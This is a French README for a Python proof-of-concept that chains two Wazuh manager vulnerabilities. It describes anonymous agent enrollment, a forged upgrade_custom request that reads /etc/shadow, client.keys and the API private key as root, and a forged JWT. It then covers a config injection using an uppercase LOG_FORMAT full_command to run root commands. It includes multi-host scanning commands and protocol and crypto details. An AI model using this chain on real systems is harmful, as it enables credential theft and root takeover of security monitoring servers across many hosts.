
PoC Wazuh enchaînant la lecture de fichiers CVE-2026-74034 et l'exécution de commandes CVE-2026-74041 ; corrigé dans la version 4.14.8. Bibliothèque standard Python uniquement.
PoC multi-hôtes en fichier unique, stdlib uniquement, enchaînant CVE-2026-74034 et CVE-2026-74041. Les deux avis ont été publiés le 13 octobre 2026 ; les correctifs ont été livrés dans Wazuh 4.14.8 le 23 septembre 2026. La version 4.14.8 est la version corrigée, et non une cible affectée.
Le script implémente la chaîne suivante lorsque les services du manager requis sont joignables et que l'enrôlement d'agents sans mot de passe est activé :
recon :55000/:1515/:1514
│
├─ Phase 2 anonymous enrollment on TCP/1515 (TLS) ──► agent id + 64-hex key
│
├─ Phase 3 OSSEC agent secure channel on TCP/1514 ──► CVE-2026-74034
│ queue 'u' (UPGRADE_MQ) upgrade_custom arbitrary ROOT file read
│ with parameters.file_path = /etc/shadow …
│
└─ Phase 4 ES512 JWT forged from the leaked ──► CVE-2026-74041
/var/ossec/api/configuration/security/ ROOT RCE via the
private_key.pem → PUT /manager/configuration check_remote_commands
parser differential (+ restart) parser differential
Aucun identifiant préexistant n'est nécessaire lorsque l'enrôlement authd sans mot de passe livré par défaut est joignable (<auth><use_password>no</use_password>).
Un mot de passe d'enrôlement ou un certificat client requis modifie cette condition préalable.
CVE-2026-74041 seul nécessite un utilisateur API authentifié disposant de la permission de mise à jour de configuration ; dans cette chaîne, l'accès à l'API découle de la divulgation de la clé de signature.
| CVE | CVSS / vecteur | Affecté | En bref |
|---|---|---|---|
| CVE-2026-74034 | 7.5, PR:N | >=4.1.0 <4.14.8 | parameters.file_path de upgrade_custom est ouvert par le wm_agent_upgrade ROOT avec seulement une vérification d'existence via wfopen() et renvoyé en flux à l'agent enrôlé → lecture arbitraire de fichiers en tant que root |
| CVE-2026-74041 | 9.1 (CVSS 3.1), PR:H | >=4.14.3 <4.14.8 | check_remote_commands accepte un <LOG_FORMAT> en majuscules que le validateur Python sensible à la casse manque mais que le logcollector C insensible à la casse honore → full_command localfile en tant que root |
Les deux plages de versions décrivent les failles individuelles ; le chevauchement documenté
pour la chaîne complète est >=4.14.3 <4.14.8. Les autres avis sont hors du périmètre de ce PoC.
pip, pas de pycryptodome, pas de cryptography).1515, 1514, 55000.# single host
python3 wazuh_poc.py 192.0.2.10
python3 wazuh_poc.py 192.0.2.10 --port 55000
python3 wazuh_poc.py https://192.0.2.10:55000
python3 wazuh_poc.py 192.0.2.10:55000
# many hosts, one per line ('#' comments allowed)
python3 wazuh_poc.py -f hosts.txt --threads 10
# phases 1-3 only (no config write / restart)
python3 wazuh_poc.py -f hosts.txt --no-rce
# leave the uploaded config / marker in place (NO cleanup)
python3 wazuh_poc.py 192.0.2.10 --keep
# override the phase-4 root command
python3 wazuh_poc.py 192.0.2.10 --cmd 'id; hostname > /var/ossec/etc/lists/zz_pwned 2>&1'
| Option | Valeur par défaut | Signification |
|---|---|---|
--port | 55000 | port de l'API REST Wazuh |
--authd-port | 1515 | port d'enrôlement authd |
--remoted-port | 1514 | port du canal sécurisé des agents |
--timeout | 10 | délai d'expiration du socket (s) |
--agent-name | poc-<rand8> | nom enrôlé sur le manager |
--cmd | (id; hostname) > …/zz_pwned | commande root de la phase 4 |
--no-rce | désactivé | ignorer la phase 4 |
--keep | désactivé | ne pas restaurer ossec.conf / supprimer le marqueur |
--debug | désactivé | afficher les messages du protocole |
--threads | 5 | parallélisme des hôtes |
--api-user | wazuh | nom d'utilisateur à placer dans le JWT forgé |
La sortie est toujours propre par hôte : un refus, un authd protégé par mot de passe, une version corrigée ou une incompatibilité cryptographique est signalé avec le point de blocage exact et l'exécution se poursuit avec les hôtes restants.
Sonde les ports TCP 55000 (API), 1515 (authd), 1514 (remoted). Envoie GET / avec la vérification TLS désactivée et rapporte api_version lorsque l'API l'expose sans authentification. Sur les builds durcis, GET / renvoie 401 ; la version réelle du manager est alors récupérée en phase 3 depuis /var/ossec/VERSION.json et comparée à 4.14.8.
Connexion TLS (authd 4.4+ est TLS uniquement ; le script réessaie également en TCP brut pour les builds très anciens), puis OSSEC A:'<name>'\n. Le manager répond OSSEC K:'<id> <name> <ip> <key>' ; le script conserve la clé d'agent de 64 caractères hexadécimaux.
Reproduit la cryptographie de l'agent Wazuh depuis src/os_crypto/shared/msgs.c :
[4-byte little-endian length][payload]!<id>!#AES:<ciphertext> pour les agents dynamiques (ip=any)MD5(agent_key_hex) (32 octets ASCII), IV FEDCBA0987654321, PKCS#7!…! + zlib(MD5_hex(plain) + "%05rand%010global:%04local:" + msg)Il envoie #!-agent startup {"version":"v4.14.6"} et un keepalive transportant la plateforme/architecture Ubuntu afin que l'agent devienne active dans la base de données globale, puis une tâche de file u (UPGRADE_MQ) :
{"command":"upgrade_custom","parameters":{"file_path":"/etc/shadow","installer":"upgrade.sh"}}
analysisd le transmet à WM_UPGRADE_SOCK ; le wazuh-modulesd ROOT ouvre le fichier
(wfopen, sans vérification de chemin/extension/signature) et renvoie les octets bruts sous forme de
chunks write en base64. Le script les réassemble et affiche en direct les lignes [ACC] :
| fichier | traitement |
|---|---|
/etc/shadow | uniquement les lignes root: / wazuh: (hash affiché en entier) |
/var/ossec/etc/client.keys | complet (tronqué à 25 lignes, octets comptés) |
/var/ossec/etc/authd.pass | complet (absent lorsque l'enrôlement est anonyme) |
/var/ossec/api/configuration/security/private_key.pem | complet |
/var/ossec/etc/ossec.conf | <key> du cluster, identifiants de l'indexeur, mot de passe <auth> |
/var/ossec/VERSION.json | version de repli pour la reconnaissance |
Entre les fichiers, le script envoie upgrade_update_status (sinon le gestionnaire de tâches
maintient l'agent en In progress et refuse la tâche suivante).
iss=wazuh, aud="Wazuh API REST", sub=wazuh, rbac_roles=[1],
rbac_mode=white, exp-nbf=900). Vérifié via GET /agents.GET /manager/configuration?raw=true, insérer avant le dernier
</ossec_config> un <localfile> avec un leurre <log_format>syslog</log_format>
en minuscules et un <LOG_FORMAT>full_command</LOG_FORMAT> en majuscules plus la commande.PUT /manager/configuration (application/octet-stream), puis PUT /manager/restart.GET /lists/files/zz_pwned?raw=true pour obtenir la sortie de la commande root.--keep : PUT du ossec.conf d'origine, redémarrage, et
DELETE /lists/files/zz_pwned (avec des tentatives répétées jusqu'à disparition du marqueur).